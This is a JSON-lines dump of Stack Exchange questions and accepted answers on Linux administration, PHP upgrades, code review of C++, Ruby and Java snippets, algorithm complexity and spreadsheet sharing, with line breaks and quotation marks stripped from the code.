{  "id": "_unix.90819"  , "question": "I'm using CentOS 6.4 and I was following this tutorial in order to upgrade PHP from v 5.3.3 to v 5.4.19 but I got the following error:Error: php54w-common conflicts with php-common-5.3.3-23.el6_4.i686. How do I resolve this problem?[my_profile@localhost gplus-quickstart-php]$ sudo rpm -Uvh http://mirror.webtatic.com/yum/el6/latest.rpm                                                           [sudo] password for my_profile:                                                    Retrieving http://mirror.webtatic.com/yum/el6/latest.rpm                        warning: /var/tmp/rpm-tmp.S0yqSL: Header V4 DSA/SHA1 Signature, key ID cf4c4ff9: NOKEY                                                                          Preparing...                ########################################### [100%]     1:webtatic-release       ########################################### [100%]  [my_profile@localhost gplus-quickstart-php]$ sudo yum install php54wLoaded plugins: fastestmirror, refresh-packagekit, security      Loading mirror speeds from cached hostfile                        * base: mirror.netglobalis.net                                   * extras: mirror.netglobalis.net                                 * rpmforge: mirror.nexcess.net                                   * updates: mirror.netglobalis.net                                * webtatic: us-east.repo.webtatic.com                           webtatic                                                 | 2.9 kB     00:00     webtatic/primary_db                                      |  98 kB     00:00Setting up Install ProcessResolving Dependencies--> Running transaction check---> Package php54w.i386 0:5.4.19-1.w6 will be installed--> Processing Dependency: php54w-common = 5.4.19-1.w6 for package: php54w-5.4.19-1.w6.i386--> Processing Dependency: php54w-cli = 5.4.19-1.w6 for package: php54w-5.4.19-1.w6.i386--> Running transaction check---> Package php54w-cli.i386 0:5.4.19-1.w6 will be installed---> Package php54w-common.i386 0:5.4.19-1.w6 will be installed--> Processing Conflict: php54w-common-5.4.19-1.w6.i386 conflicts php-common < 5.4.0--> Finished Dependency ResolutionError: php54w-common conflicts with php-common-5.3.3-23.el6_4.i686 You could try using --skip-broken to work around the problem You could try running: rpm -Va --nofiles --nodigest[my_profile@localhost gplus-quickstart-php]$ ^C[my_profile@localhost gplus-quickstart-php]$ ^C[my_profile@localhost gplus-quickstart-php]$ Error: php54w-common conflicts with php-common-5.3.3-23.el6_4.i686bash: Error:: command not found[my_profile@localhost gplus-quickstart-php]$"  , "title": "PHP Upgrade Error (PHP 5.3.3 to PHP 5.4.19 on CentOS 6.4)"  , "tags": "centos;php;upgrade"  , "accepted_answer": "The tutorial you cited does recommend using this Webtatic repo on a fresh system, where you can avoid conflicts with installed packages, but suggests that you can upgrade a currently-installed php using (as root or with sudo):yum install yum-plugin-replaceyum replace php-common --replace-with=php54w-commonThen try sudo yum install php54w again."  } 
{  "id": "_unix.25822"  , "question": "Is there a security risk in running a web server like Unicorn as root?The Nginx master process runs as root, the Nginx worker runs as the limited www-data user, but I can't set another user like www-data to run the Unicorn master/workers without messing around with www-data's PATH."  , "title": "Debian + Nginx/Unicorn permissions"  , "tags": "security;nginx"  , "accepted_answer": "Is there a security risk in running a web server like Unicorn as root?As Thomas said in sec.se chat, running anything as root carries an implicit security risk. The thing to understand about root is that the kernel essentially trusts all its actions without complaint.The issue occurs if there are any vulnerabilities in nginx, or unicorn. If this happens, it may be possible to execute an exploit, misusing the process.However it is important to understand how these servers work to understand what the exploit vector may be. In theory, there are two parts that must occur holding root permissions - the reading of configuration and the bind() operation, assuming your server has a port < 1023. unicorn acts (assuming gunicorn is similar) as a prefork model - each client request is handled in a separate process. The job of the process running as root is to bind to the necessary port and then pass connections off to the workers. Worker models mix threads and processes. As I understand it nginx operates in a very similar way, with the proviso that it has a greater bias to asynchronous IO - I believe epoll/kqueue/accept. If you have a look at the strategies for solving the c10k problem these are why the designs operate this way.In theory, then, most worker processes can seteuid() and seteguid() to drop their root permissions and should do so. Problems arise when these processes do not and handle all their traffic as root; most processes do drop their root permissions. I should also make two fairly obvious statements:You could configure your nginx daemon to run as something other than root if you do not bind to ports < 1024.You can (and I do) configure unicorn (gunicorn) in my case to create socket files, meaning it does not need to be run as root. nginx can proxy web requests onto unix sockets, meaning gunicorn never exposes a tcp connection.The vulnerable section of code should therefore amount to parsing the config file and handing off connections; in theory the danger to root is therefore quite minimal assuming this works and is heavily tested.POSIX capabilities are a different way (other than setuid bits) to delegate portions of root's capabilities to other processes; CAP_NET_BIND_SERVICE for example allows a process to bind to a port less than 1024 without having to be root. They work via extended attributes I believe. Fedora has recently (f16?) moved to ensuring all packages use capabilities rather than sticky bits.Another point of note and hopefully a positive one - unicorn, if I understand it correctly, is a ruby process (gunicorn is definitely a python process). The use of an interpreted language does reduce the risk that the developers have introduced bugs as the string handling should definitely be safe and pointers are not available. However, bugs with the interpreter may cause a security risk to all interpreted programs, too.The unfortunate reality, however, is that a compromise of your www-data process is still going to be a problem for you; an attacker can potentially dump your database, deface your website etc. Knowing root is secure is great, but if for example your website is your main advertising point for your customers, having it defaced is still a threat to your business. SummaryYes, running unicorn as root is a risk. However, the attack surface is relatively small in terms of the code that will execute as root. Also, there may be options for minimising what you run as root. I have also not covered MAC systems such as SELinux, but these are viable options along with capabilities assuming you're prepared to learn them. The important thing to understand is that risk is a balance - how sensitive/important this service is will determine how much effort you should put into securing it. If you're running a banking website, you might want to think seriously about how you harden your system; if this is a website hosting lolcat pictures (ok, y'know what I mean) you may decide the current setup is just fine."  } 
{  "id": "_unix.339832"  , "question": "We have machines with both local and LDAP accounts. Every computer has a HDD mounted where the local group users has reading and writing permissions. How can I add all the LDAP users to that group users?"  , "title": "How to assign LDAP user to local group users?"  , "tags": "linux;ubuntu;ldap"  } 
{  "id": "_codereview.116075"  , "question": "I use this template to lookup clients registered for data. The data is associated by name(key) and clients are shared pointers (value) to a class which will consume the data.//////////////////////////////////////////////////////////////////////// Registrar Template to help manage Key to Value Registrations////   T1 - Key Object//   T2 - Value Object////  For Example: Register clients (T2) for Data (T1) ////////////////////////////////////////////////////////////////////#ifndef _RegistrarT_hpp_#define _RegistrarT_hpp_#include <map>#include <vector>#include <set>template <class T1,class T2, class CompareT1 = std::less<T1> >class RegistrarT{public:  typedef std::multimap<T1,T2, CompareT1> RegistrationMultiMap;  typedef std::vector<T2>                 RegistrationVector;  typedef std::set<T1>                    KeySet;public:  RegistrarT(){}  ~RegistrarT(){}  //   // Register a value; Do not allow duplicate registrations  void Register(T1 const & key, T2 const & value)  {    Unregister(key, value); // Remove if it exists in the multimap    registrations_.insert(std::make_pair(key,value));  }  // Lookup all Registered for Key then find and remove value  void Unregister(T1 const & key, T2 const & value)  {    bool found=false;    typename RegistrationMultiMap::iterator itr =                 registrations_.lower_bound(key);    while (!found && itr != registrations_.upper_bound(key))    {      if (itr->second == value)        found = true;      else        ++itr;    }    if (found)      registrations_.erase(itr);  }  // Remove all values registered for key  void UnregisterByKey(T1 const & key)  {    registrations_.erase(registrations_.lower_bound(key),                         registrations_.upper_bound(key));  } // Find all values and remove registrations for all keys  void UnregisterAll(T2 const & value)  {    typename RegistrationMultiMap::iterator itr =         registrations_.begin();    while (itr != registrations_.end())    {      if (itr->second == value)        registrations_.erase(itr++);      else        ++itr;    }  }  // Find all values and remove registrations for all keys  // return all keys affected  void UnregisterAll(T2 const & value, KeySet& ks)  {    typename RegistrationMultiMap::iterator itr =         registrations_.begin();    while (itr != registrations_.end())    {      if (itr->second == value)      {        ks.insert(itr->first);        registrations_.erase(itr++);      }      else       ++itr;    }  }  // Get all values registered for key  bool GetRegistrations(T1 const & key, RegistrationVector& rv)  {    typename RegistrationMultiMap::iterator itr =         registrations_.lower_bound(key);    while (itr != registrations_.upper_bound(key))    {      rv.push_back(itr->second);      ++itr;    }    return (rv.size() > 0);  }  // Get all keys; std::set will not allow duplicates  void GetRegistrationKeys(KeySet& ks)  {    typename RegistrationMultiMap::iterator itr =         registrations_.begin();    while (itr != registrations_.end())    {      ks.insert(itr->first);      ++itr;    }  }  // Check if key is registered  bool RegistrationsExist(T1 const & key)  {    typename RegistrationMultiMap::iterator itr =         registrations_.lower_bound(key);    return (itr != registrations_.upper_bound(key));  }  // Get count of registrations for key  std::size_t RegistrationsCount(T1 const & key)  {    std::size_t cnt=0;    typename RegistrationMultiMap::iterator itr =         registrations_.lower_bound(key);    while (itr != registrations_.upper_bound(key))    {      cnt++;      ++itr;    }    return (cnt);  }  // Is value registered for key?  bool RegistrationsExist(T1 const & key, T2 const & value)  {    typedef typename RegistrationMultiMap::iterator ResIter;    std::pair< ResIter , ResIter>  range=         registrations_.equal_range(key);    ResIter it;    for(it=range.first;it!=range.second;++it)    {      if(it->second==value) return true;    }    return false;  }  // Is any value registered  bool RegistrationsExist()  {    return ! registrations_.empty();  }  // How many keys are in use  std::size_t RegistrationCount()  {    return registrations_.size();  }  // Clean up  void Clear()  {    registrations_.clear();  }private:  RegistrationMultiMap  registrations_; // Holds all};#endif // _RegistrarT_hpp_Sample usage:#include RegistrarT.hpp#include <string>typedef RegistrarT<std::string,std::string> NewsRegistrations;int main(int argc, char *argv[]){  NewsRegistrations sportingNews_;  NewsRegistrations::KeySet keyset;  std::string moe(Moe);  std::string curly(Curly);  std::string larry(Larry);   sportingNews_.Register(std::string(Football),moe);   sportingNews_.Register(std::string(Wrestling),moe);   sportingNews_.Register(std::string(Wrestling),curly);   sportingNews_.RegistrationsCount(std::string(Wrestling));   sportingNews_.Register(std::string(Rugby),curly);   sportingNews_.Register(std::string(BeachVolleyBall),larry);   sportingNews_.UnregisterAll(moe,keyset);   sportingNews_.UnregisterByKey(std::string(Wrestling));   sportingNews_.RegistrationsExist(std::string(Bowling));}I use a test framework so for simplicity I did not post my tests. Basically I check Registration counts and if Registrations exist. Looking to learn new stuff and gain reputation points so I can attempt to give back."  , "title": "C++ Template for one to many Registration (pre Gang of Four)"  , "tags": "c++;design patterns;template"  } 
{  "id": "_codereview.26449"  , "question": "I am teaching myself Ruby and Ruby-on-rails, as part of this regimen I thought it would be a good idea to do some Ruby quiz exercises and so I started with the solitaire cipher.  The basic functionality of decoding a properly formatted message is there but only just so.  I've come to the realization that I've written this like Ruby has no object-oriented functionality, and instead it's a big imperative function full of clever expressions that make it hard to read.At this point I would like to pad it out with a fuller feature set and unclever some of the logic, and I wanted to do so via TDD.  Is this program hardly unit-testable because of it's imperative design?As someone who wants to be a great ruby programmer, is it imperative that I refactor this code to utilize classes, methods and objects?  If not, will unit-testing be of very limited value as a result?  Am I overreacting and this is fine for what it was designed?input = String.newinput = ARGV[0].dupdef solitaire(input)def decode(msg)    #Creates a hash with keys 1-54    abc = ('A'..'Z').to_a    alphaHash = Hash.new    alphaHash.default =       (1..54).to_a.each {|x| alphaHash[x] = (abc[x - 1])}  #assigns 1-26 a letter in alphabetical order    abc.each {|x| alphaHash[abc.index(x) + 27] = x}  #assigns letters in order to 27-52                                                                                                     #All non-joker card values 1-52 can be resolved to their letter    #Creates array in which each letter from msg is added as a number to the array, A = 1, B = 2 etc.    msg.delete! ' '    convertedMessage = Array.new    msg.each_char {|letter| convertedMessage << alphaHash.key(letter)}    #Create deck array, for this example in ascending numerical order; clubs, diamonds, hearts, spades    deck = (1..54).to_a    #Set indexes of two jokers    jkr_a_idx = deck.index 53    jkr_b_idx = deck.index 54    convertedKeys = Array.new    #This uses the solitaire cipher to generate the keys the message was encrypted with    while convertedKeys.length < convertedMessage.length        #Joker A down one card        jkr_a_idx = deck.index 53        jkr_a_idx += 1        #check if it returns to front of deck        if jkr_a_idx >= 54            jkr_a_idx -= 54   #Reset index to beginning of deck            jkr_a_idx += 1     #Joker can never be first card so it skips index 0        end        #Remove and insert Joker A at new index        deck.delete(53)        deck.insert(jkr_a_idx, 53)        #Joker B down two cards        jkr_b_idx = deck.index 54        jkr_b_idx += 2        #check if Joker B must return to front of deck        if jkr_b_idx >= 54            jkr_b_idx -= 54       #Reset index to beginning of deck            jkr_b_idx += 1        #Joker can never be first card so it skips index 0.        end        #Remove and insert Joker B at new index        deck.delete(54)        deck.insert(jkr_b_idx, 54)        #Triple cut around jokers, exchange cards above first joker with cards below second joker.        #determine top and bottom jokers        topJoker = deck.detect {|e| e == 53 or e == 54}        if topJoker == 53            bottomJoker = 54        end        if topJoker == 54            bottomJoker = 53        end        #Make the cuts        topCut = deck.slice!(0...deck.index(topJoker))        if bottomJoker != deck.last         #if a joker is the last card, there is no bottom cut            bottomCut = deck.slice!((deck.index(bottomJoker) + 1)..-1) #cuts cards after bottom joker to the last one            deck.unshift bottomCut          #Inserts the bottomCut at the front            deck.flatten!        end        deck << topCut        deck.flatten!  #deck must be flattened as cuts are inserted as nested arrays        #Count cut:  take last card's value, cut this many cards from top and insert before last card        if deck.last == 53 or deck.last == 54           #Either joker's value is always 53            countCut = deck.slice!(0...53)          #If either joker is the last card, we cut 53 cards        else             countCut = deck.slice!(0...deck.last)        end        deck.insert(deck.index(deck.last), countCut)  #inserts the countCut before the last card        deck.flatten!        #Take first card's value, count this many cards, convert the facing card to a letter, this is the letter for the keystream        if deck.first == 54         #All jokers get value 53            if deck[53] != 53 and deck[53] != 54            #If a joker is the facing card, there is no output to the keystream for this iteration                convertedKeys << alphaHash.key((alphaHash[deck[53]])) #Any other facing card is converted to a letter, then back to numeric            end        else            if deck[deck.first] != 53 and deck[deck.first] != 54  #Step is skipped if the facing card is a joker                convertedKeys << alphaHash.key((alphaHash[deck[deck.first]]))            end        end     end #while loop    decodedMessage = String.new     #Decodes the message    #Both convertedMessage and convertedKeys are numeric values 1-26    convertedMessage.each { |value|                 #When decoding, subtract key from the encoded value for the decoded message            if convertedKeys[decodedMessage.length] >= value  #If this operation is 0 or negative, add 26 to value                decodedMessage << alphaHash[((value + 26) - convertedKeys[decodedMessage.length])]            else                decodedMessage << alphaHash[(value - convertedKeys[decodedMessage.length])]            end                             }       decodedMessageend  #decodeputs decode(input)endputs solitaire(input)"  , "title": "Is my solitaire cipher too imperative for an Object Oriented language like Ruby?"  , "tags": "ruby"  , "accepted_answer": "Some notes on your code:alphaHash = Hash.new, each, delete, +=, ...: This shows that you think in imperative terms (init, update, remove, insert, destroy, change, ...), in Ruby is more idiomatic a functional style (see this) with immutable data structures.or/and are used for flow control, for logic you should use &&/||.The real problem of your code is that is not declarative. You have a bunch of code put together doing things, but it's difficult to relate each step with the specifications (if you have to insert comments for that, it's a signal something is wrong). The way to solve this is by using abstractions (functions/methods) that capture the specifications. I'll show the skeleton of my solution, I think it's more useful than going into full detail (ask if you want to see the complete code). Note how every step (in decode,encode` and the deck re-arranging) has its own abstraction, the code is a composition of them:class Deck < Array  def move(card, offset)  end  def triple_cut_around(card1, card2)  end  def count_cut_last  end  def get_output_letter  end  def self.value_from_card(card)  endendclass SolitaireCipher  CharsToDigits = Hash[(A..Z).map.with_index(1).to_a]  DigitsToChars = CharsToDigits.invert  def self.gen_keystream    initial_cards = Deck.new((1..52).to_a + [:joker_a, :joker_b])    ...      shuffled_cards = cards.        move(:joker_a, +1).        move(:joker_b, +2).        triple_cut_around(:joker_a, :joker_b).        count_cut_last      letter = shuffled_cards.get_output_letter      [letter, shuffled_cards]    ...  end  def self.chars_to_digits(chars)  end  def self.digits_to_chars(digits)  end  def self.encode(string)    s0 = string.upcase.gsub(/[^A-Z]/, '')    s = s0.ljust((s0.size / 5) * 5, X)    digits1 = chars_to_digits(s.chars)    digits2 = chars_to_digits(gen_keystream.take(s.length))    digits_encoded = digits1.zip(digits2).map { |d1, d2| (d2 + d1) % 26 }    digits_to_chars(digits_encoded).each_slice(5).map(&:join).join( )  end  def self.decode(string)  endendencoded = SolitaireCipher.encode(Code in Ruby, live longer!)puts encoded #=> GLNCQ MJAFF FVOMB JIYCBdecoded = SolitaireCipher.decode(encoded)puts decoded #=> CODEI NRUBY LIVEL ONGER"  } 
{  "id": "_unix.214392"  , "question": "I have a strange issue on mikrotik rb951-2hnd router. I built image a few years ago using revision 39392 and patch firmwared it and everything worked fine. Just a few months ago I decided to update firmware. So I did it and discovered that physical network is completely broken. I have over 90% packet loss via ethernet ports, though wifi works perfect . I thought that I messed up while build. So I firmwared 2 different images from download.openwrt and a couple  more that I built by myself, but symptoms are always the same. I wanted to try worked for me svn revision but unfortunately this patch is unavailable so I can't firmare image back. The funny thing that everything including physical ports works while netbooting via vmlinux-initramfs (bootp) the same build revision.  Since vmlinux works fine I suspect that flash is damaged so I made myself sure that files from rootfs.tar.gz and firmwared ones are the same.  On the next step I compared the loaded demons on vmlinux-initramfs and firmwared system, the firmwared one has extra listed below:nf_log_common.konf_log_ipv4.konf_log_ipv6.konf_nat_masquerade_ipv4.konf_reject_ipv4nf_reject_ipv4.konf_reject_ipv6nf_reject_ipv6.konls_base.koPreventing them from loading doesn't help. Furthermore I get no  errors from dmesg or logread. Here's my configuration:topiptables -L -n/etc/config/network - 1 wan. 2-5 lan (wifi in sta client mode)scenario for dhcp:After plugging laptop (dhcp client) to lan port for 15 seconds ( plug out after) I see the followings:Laptop send:  3 dhcp request and 9 icmpv6  Laptop receive: 0  packetsrouter sends: None ? (ifconfig displays 4 packets but tcpdump doesn't catch them)  router receives: 2 icmp packets fromLaptop sent list (listed below)I also checked tcpdump on router, and it doesn't show lost packets. Seems like the problem is somewhere on the driver level. But wait, vmlinux works and drivers (kernel modules) are the same.root@OpenWrt:/# tcpdump -vv -i eth0.3tcpdump: WARNING: eth0.3: no IPv4 address assignedtcpdump: listening on eth0.3, link-type EN10MB (Ethernet), capture size 65535 bytes[ 1042.060000] Atheros AR8216/AR8236/AR8316 ag71xx-mdio.0:00: Port 2 is up09:35:24.172637 IP6 (hlim 1, next-header Options (0) payload length: 36) :: > ff02::16: HBH (rtalert: 0x0000) (padn) [icmp6 sum ok] ICMP6, m]09:35:25.872843 IP6 (hlim 255, next-header ICMPv6 (58) payload length: 16) fe80::b2e3:928a:66b2:ff43 > ff02::2: [icmp6 sum ok] ICMP6, router6          source link-address option (1), length 8 (1): 5c:f9:dd:48:9e:89            0x0000:  5cf9 dd48 9e895c:f9:dd:48:9e:89 /fe80::b2e3:928a:66b2:ff43 - laptop,  d4:ca:6d:92:a4:7e / fe80::d6ca:6dff:fe92:a47e: - routerscenario for static ip:openwrt (static 192.168.2.1)root@OpenWrt:/# ping 192.168.2.2PING 192.168.2.2 (192.168.2.2): 56 data bytes64 bytes from 192.168.2.2: seq=4 ttl=64 time=0.505 ms64 bytes from 192.168.2.2: seq=21 ttl=64 time=0.489 ms64 bytes from 192.168.2.2: seq=34 ttl=64 time=0.528 ms64 bytes from 192.168.2.2: seq=39 ttl=64 time=0.512 ms64 bytes from 192.168.2.2: seq=45 ttl=64 time=0.527 ms64 bytes from 192.168.2.2: seq=48 ttl=64 time=0.549 ms64 bytes from 192.168.2.2: seq=51 ttl=64 time=0.813 ms^C--- 192.168.2.2 ping statistics ---56 packets transmitted, 7 packets received, 87% packet lossround-trip min/avg/max = 0.489/0.560/0.813 mslaptop (static 192.168.2.2)14:50:08:andrew:/home/andrew:0: ping 192.168.2.1PING 192.168.2.1 (192.168.2.1) 56(84) bytes of data.From 192.168.2.2 icmp_seq=13 Destination Host UnreachableFrom 192.168.2.2 icmp_seq=14 Destination Host UnreachableFrom 192.168.2.2 icmp_seq=15 Destination Host Unreachable^C--- 192.168.2.1 ping statistics ---100 packets transmitted, 0 received, +3 errors, 100% packet loss, time 99022mspipe 314:51:53:andrew:/home/andrew:1: ping 192.168.2.1PING 192.168.2.1 (192.168.2.1) 56(84) bytes of data.^C--- 192.168.2.1 ping statistics ---29 packets transmitted, 0 received, 100% packet loss, time 28080msSo here is my question:What steps should I take to dive deeper and find out what the problem is? I want to find at least the error. Should I turn a debug level somewhere? What can cause such a huge packet loss?  EDIT Netbooting vmlinux produces the same Netbooting kerneldebug - works perfectly, unfortunately its size is 11mb, mtd1 is to small to hold it."  , "title": "Huge packet loss on openwrt"  , "tags": "networking;openwrt;tcpdump"  , "accepted_answer": "Ok I finally found the reason. Initramfs wasn't the key of success. It turns out that routerboard works if it was booted with pressed reset button. But it seems like flashed driver can't last for long. Router reboots with kernel panic after a few hours of using depending on loading rate."  } 
{  "id": "_cs.13181"  , "question": "I've developed the following backtrack algorithm, and I'm trying to find out it time complexity.A set of $K$ integers defines a set of modular distances between all pairs of them. In thisalgorithm, I considered the inverse problem of reconstructing all integer sets which realize a given distance multiset. i.e. :Inputs: $D=\\{p_ip_j \\mod N, ij \\},K $Output : $P=\\{p_1,p_2,...,p_K\\},\\qquad p_i \\in \\{0,1,2,...,N-1\\},\\qquad p_i > p_j $ for $i>j$Simply saying, the algorithm puts $K$ blanks to be filled. Initially, puts 1 in the first blank. For the second blank it looks for the first integer that if we add to P, it doesn't produce any difference exceeding the existent differences in $D$. Then, it does so, for next blanks. While filling a blank if it checked all possible integers and found no suitable integer for that blank, it turns back to the previous blank and looks for next suitable integer for it. If all blanks are filled, it has finished his job, otherwise it means that there weren't any possible $P$'s for this $D$.Here's my analysis so far.Since the algorithm checks at most all members of $\\{2,...,N\\}$ for each blank (upper bound) there is $N-1$ search for each blank. If each visited blank was filled in visiting time, the complexity would be $O((K-1)(N-1))$ since we have $K-1$ blank (assuming first one is filled with 1). But the algorithm is more complex since for some blanks it goes backward and some blanks may be visited more that once. I'm looking for the worst case complexity i.e. the case that all blanks are visited and no solution is found."  , "title": "Time complexity of a backtrack algorithm"  , "tags": "algorithms;algorithm analysis;combinatorics;search algorithms;greedy algorithms"  } 
{  "id": "_softwareengineering.133506"  , "question": "I'm self-learning iOS development through the iTunes U CS193p course, and I often find myself stuck. I've been trying to get unstuck myself, but it might take me hours and hours to figure out what I'm doing wrong, be it missing a method or not really getting a whole concept like delegation. I'm worried that I might be wasting too much time, and I'd be better off going to Stack Overflow shortly after I get stuck so I can move on. In your experience, does quickly asking on Stack Overflow hamper the learning process or improve it?"  , "title": "When stuck, how quickly should one resort to Stack Overflow?"  , "tags": "productivity;education"  , "accepted_answer": "When I am working with new developers, I encourage them to come ask questions after five or ten minutes where they are not making progress.That has two benefits: the first is that they can get help without too much time spent staring at a problem, but they only ask when they are not getting somewhere.  If they are learning - even on something that isn't ultimately the answer - they are much more likely to usefully retain that information.The second is that after about that much time they have to explain the problem to someone else.  That solves a huge proportion of problems, because going through it end-to-end in order means you can spot the thing that you missed in your earlier work.Since it sounds like you are doing this alone, try turning to a stuffed toy, or the clock, or the wall, and asking that about the problem.  Explain it as you would to a person, and see if that fixes things.If it doesn't, and you are not making progress, ask someone.  Spending more than five or ten minutes stuck is a waste of your time - unless you go on to do something else, then come back to the problem with a fresh mind."  } 
{  "id": "_unix.268666"  , "question": "In the below script the cases aserver and bserver work fine. But in case cserver above, after su - gsxuserp, I need to perform the following three options with the same user.cd ..cd random_directorytail -f file_in_random_directoryI am not able to do this using -c option, since the connection just closes without executing anything. can someone please suggest a basic way to do this?echo Please type one of the following: aserver,bserver,cserver: read inputecho You entered: $inputcase $input in     aserver)        echo Logging into a. Please enter the passwords when prompted        ssh -t user@something.com ssh -t aserver su - gsxp -c sqlplus grep_ro/pwd        ;;    bserver)        echo Logging into b. Please enter the passwords when prompted        ssh -t user@something.com ssh -t bserver su - gsxp -c sqlplus grep_ro/pwd        ;;    cserver)        echo Logging into c. Please enter the passwords when prompted        ssh -t user@something.com ssh -t cserver su - gsxuserp -c cd         ;;        *)         echo Incorrect Option entered. Exiting the script        ;;esac"  , "title": "How to use cd command in su command?"  , "tags": "shell script;command line;su;cd command"  } 
{  "id": "_codereview.16426"  , "question": "I have created a simple array-based Stack class with some methods like the actual Stack in Java.I am testing this for mistakes, but since I am learning Java, my tests may not be as comprehensive as they should.import java.util.*;public class SJUStack<E> {    // Data Fields    private E[] theData;    private int topOfStack = -1;    private static final int INITIAL_CAPACITY = 10;    private int size = 0;    private int capacity = 0;    // Constructors    public SJUStack(int initCapacity) {        capacity = initCapacity;        theData = (E[]) new Object[capacity];    }    public SJUStack() {        this(INITIAL_CAPACITY);    }    // Methods    public E push(E e) {        if(size == capacity) {            reallocate();        }        theData[size] = e;        size++;        topOfStack++;        return e;    } // End push(E e) method    public E peek() {        if(empty()) {            throw new EmptyStackException();        }        return theData[topOfStack];    } // End peek() method    public E pop() {        E result = peek();        theData[topOfStack] = null;        size--;        topOfStack--;        if(size <= (capacity/4) && capacity >= INITIAL_CAPACITY) {            shrink();        }        return result;    } // End pop() method    public boolean empty() {        return size == 0;    } // End empty() method    private void reallocate() {        capacity *= 2;        theData = Arrays.copyOf(theData, capacity);    } // End reallocate() method    private void shrink() {        capacity /= 2;        theData = Arrays.copyOf(theData, capacity);    } // End shrink() method    public String toString() {        return Arrays.toString(theData);    } // End toString() method    public int size() {        return size;    } // End size() method}"  , "title": "Simple array-based Stack class in Java"  , "tags": "java;array;homework;stack"  , "accepted_answer": "I don't see any obvious logic mistakes, points for that. On the other hand some redundant and non-standard ways of coding in java.Drop either size or topOfStack members, (topOfStack == size - 1)Drop capacity capacity is same as theData.lengthMethod name: isEmpty (more concise with java standard collections)Use data instead of theData"  } 
{  "id": "_unix.244557"  , "question": "The following is the text I want to parse with sed (Mac OS X 10.11.1 bash)100:25:43,959 --> 00:25:46,502Here you are, sir.Main level, please.I can delete the first line with sed -e 's/[0-9]//'.But with sed -e 's/^[0-9]//', the first line, i.e. 1  remains there.Since 1 is at the beginning of the first line, shouldn't it be deleted?head -n1 2001.srt | od -c0000000  357 273 277   1  \\n0000005Just created a new text file starting with 1.head -n1 2002.srt | od -c0000000    1  \\n0000002sed -e 's/^[0-9]//' works for this newly created file.Yes, there's something before 1."  , "title": "sed -e 's/^[0-9]//' does not work for the first line"  , "tags": "text processing;sed;regular expression"  , "accepted_answer": "Your file starts with a UTF-8 byte order mark. It is unicode symbol U+FEFF which is encoded as three bytes in UTF-8. Those three bytes show up as 357 273 277 when you print them in base 8.To the sed command those bytes at the start of the line means that 1 is in fact not the first character on that line. Many other tools will treat it the same way.You need to remove the BOM before doing other processing in order to get a useful result. For instance you could start your sed script with s/^\\xef\\xbb\\xbf// to remove the BOM. Your full command would then becomesed -e 's/^\\xef\\xbb\\xbf//;s/^[0-9]//'"  } 
{  "id": "_cs.62464"  , "question": "Given a binary $n$-times-$n$ matrix $A$, we'd like to cover the regions comprised of $1$'s with non-intersecting rectangles. A collection of disjoint rectangles that covers all $1$'s (and only $1$'s, i.e., it mustn't cover any $0$'s) is called a cover. (Notice that a problem instance may have many different covers.)A cover is called a minimum cover if it uses the smallest number of rectnagles possible.The counting problem I'm interested in is: given an $n$-times-$n$ binary matrix $A$, count the number of minimum covers of $A$.What can you say about this problem? (This post was inspired by this SO question.)"  , "title": "Counting the number of minimal covers of a binary matrix"  , "tags": "algorithms;complexity theory"  } 
{  "id": "_unix.151012"  , "question": "I have:One Raspberry Pi with Raspbian (distribution based on Debian), with one enthernet interfaceOne laptop with windows, with one ethernet interfaceOne USB modemEthernet cable between Pi and laptopI want to:Share internet on Raspberry Pi when modem is connected to PiUse internet which is shared on laptop when modem is connected to laptop.What I have done:My modem is working on both machines, its ppp0 interface on Pi. ppp0 has dynamic IP.Sharing internet from laptop to Raspberry works. Laptop IP: 192.168.137.1Question:How can I share internet on Raspberry Pi without ruining too much / reconfiguring network on both machines when I switch modem from one machine to another? Extra question: I know that interfaces on both windows and linux can have multiple IP addresses. Can I have both configurations set and just plug my modem here and there and start connection to have internet on second machine?"  , "title": "Two way internet sharing configuration (swiching modem from one machine to another)"  , "tags": "networking"  } 
{  "id": "_webapps.10375"  , "question": "I have an Excel spreadsheet I made to track my own scores for an Xbox game I play (TrialsHD, if you are curious). I've made it available to other players so they can track their own scores, but it occurred to me that more people could use it if I figured out how to make it available to people online. I know I can import from Excel to Google Spreadsheets, but I'm not sure if sharing works in the way I need it to.Specifically, I don't want people to share and edit the master, each person needs their own independent copy of the spreadsheet to enter their race scores and times. In essense, my copy is like a template.Can I do Google Drive sharing like this? How exactly would it work? (Would each person need their own independent Google account?)If not, is there another tool out there that would work for me to make this spreadsheet available for other users? What about the newly announced MS Office online products?"  , "title": "How exactly does sharing work in Google Drive?"  , "tags": "google spreadsheets;google drive"  } 
{  "id": "_unix.216020"  , "question": "Can someone please help me here. My cron job is not sending an email with output. While I run the shell script manually it generates an email with output.Here is the script looks like #!/bin/bashMAILLIST=<email>LogDirectory='/app/oracle/admin/monitor/'DBUSER='rman'DBUSERPASSWORD='rman01'DB='pdcatdb'SUBJECT=RMAN Backup Status ReportORACLE_HOME=/app/oracle/product/12.1.0.2_64${ORACLE_HOME}/bin/sqlplus -s <<EOF  > ${LogDirectory}/query.log${DBUSER}/${DBUSERPASSWORD}@${DB}set pagesize 20000set linesize 2000set wrap offset trimspool onset feedback offset echo offset termout offset heading offset underline offset colsep ','SELECT RTRIM(A.DB_NAME)||'---->'||       LTRIM(A.STATUS) BACKUP_STATUS  FROM rman.RC_RMAN_STATUS A,       (  SELECT DB_NAME, OBJECT_TYPE, MAX (END_TIME) END_TIME            FROM rman.RC_RMAN_STATUS           --WHERE     OBJECT_TYPE IN ('DB FULL', 'DB INCR')           WHERE     OBJECT_TYPE IN ('DB INCR')                 AND STATUS IN ('COMPLETED', 'COMPLETED WITH ERRORS', 'FAILED')                 AND OPERATION IN ('BACKUP', 'BACKUP COPYROLLFORWARD')        GROUP BY DB_NAME, OBJECT_TYPE) B WHERE     A.OBJECT_TYPE IN ('DB FULL', 'DB INCR', 'ARCHIVELOG')       AND STATUS IN ('COMPLETED', 'COMPLETED WITH ERRORS', 'FAILED')       AND OPERATION IN ('BACKUP', 'BACKUP COPYROLLFORWARD')       AND A.DB_NAME = B.DB_NAME       AND A.END_TIME = B.END_TIME       AND A.OBJECT_TYPE = B.OBJECT_TYPE       AND A.end_time > sysdate-7       order by 1       /EOFmailx -s Rman Backup Report <email> < /app/oracle/admin/monitor/query.log"  , "title": "My cron job is not sending an email with any output, I see only a blank email"  , "tags": "cron;email"  } 
